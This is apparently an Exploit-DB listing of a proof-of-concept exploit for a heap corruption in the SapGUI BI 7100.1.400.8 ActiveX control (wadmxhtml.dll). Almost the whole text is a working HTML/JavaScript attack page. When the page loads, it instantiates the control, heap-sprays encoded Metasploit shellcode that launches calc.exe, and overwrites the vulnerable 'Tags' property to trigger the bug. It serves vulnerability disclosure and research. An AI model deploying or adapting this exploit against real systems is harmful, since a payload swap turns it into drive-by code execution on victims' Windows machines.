SapGUI BI 7100.1.400.8 – Heap Corruption

  • 作者: Elazar Broad
    日期: 2010-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14416/
  • <!-- 
    
    Product: SapGUI BI
    File: c:\program files\sap\business explorer\bi\wadmxhtml.dl
    Version: 7100.1.400.8
    ClassID: 30DD068D-5AD9-434C-AAAC-46ABE37194EB
    RegKey Safe for Script: False
    RegKey Safe for Init: False
    Implements IObjectSafety: True
    IDisp Safe:Safe for untrusted: caller,data
    IPersist Safe:Safe for untrusted: caller,data
    KillBitSet: False
    
    Vulnerable Property: Tags
    -->
    <html>
     <head>
    <title></title>
    <script language="JavaScript" defer>
    
    var buf = '';
    while (buf.length < 64) buf += unescape("%u0a05");
    
    
    function Check() {
    	
    	// windows/exec - 557 bytes
    	// http://www.metasploit.com
    	// Encoder: x86/alpha_mixed
    	// EXITFUNC=process, CMD=c:\\windows\\system32\\calc.exe
    	var shellcode = unescape("%uc2dd%uc92b%u38b1%u4fba%uc033%ud9a3%u2474%u5ef4%u5631%u031a%u1a56%uc683%ue204%ucfba%u2a28%u3044%u4da9%ud5cd%u5f98%u9ea9%u6f89%uf3ba%u1b21%ue7ee%u69b2%u0726%uc772%u2610%ue983%ue49c%u6b47%uf760%u4b9b%u3859%u8aee%u259e%ude01%u2177%ucfb0%u77fc%uf109%uf3d2%u8931%uc357%u23c6%u1456%u3f76%u8c10%u67fc%uad80%u7bd1%ue4fc%u4f5e%uf777%u81b6%uc978%u4ef6%ue547%u8ffa%uc280%ue5e4%u30fa%ufd98%u4a39%u8b46%uecdf%u2b0d%u0c3b%uaac1%u02c8%ub9ae%u0696%u6d31%u33ad%u90ba%ub261%ub6f8%u9ea5%ud65b%u7afc%ue70d%u221e%u4df2%uc155%uf4e7%u8c34%u75f6%ue943%u85f9%u5a4b%ub492%u35c0%u48e5%u7203%u0319%ud309%ucab2%u61d8%uecdf%ua537%u6ee6%u56bd%u6e1d%u53b4%u2859%u2e25%uddf2%u9d49%uf7f3%u1b2a%ua450%u32db%u3006%ub24c%ue4a5%u4fce%u6633%uca9a%ubbae%u4950%udf6d%u1df5%u31ee%ua590%u4d95"); 	
    	
    	var bigblock = unescape("%u0c0c");
    	var headersize = 20;
    	var slackspace = headersize + shellcode.length;
    	while (bigblock.length < slackspace) bigblock += bigblock;
    	var fillblock = bigblock.substring(0,slackspace);
    	var block = bigblock.substring(0,bigblock.length - slackspace);
    	while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    
    	
    	var memory = new Array();
    	for (i = 0; i < 550; i++){ memory[i] = block + shellcode; }
    			
    	var jmpblock = buf.substring(0, 32);
    
    	var a = new Array();
    	
    	for (i = 0; i < 512; i++) {
    		obj.Tags = jmpblock.substring(0, jmpblock.length);
    		a[i] = obj.Tags.substring(0, obj.Tags.length);
    		obj.Tags = '';
    		a[i] += jmpblock;
    	}	
    
    }
    
    
    
     </script>
    </head>
    
     <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:30DD068D-5AD9-434c-AAAC-46ABE37194EB">
    		Unable to create object
    	</object>
    
    
    
     </body>
    </html>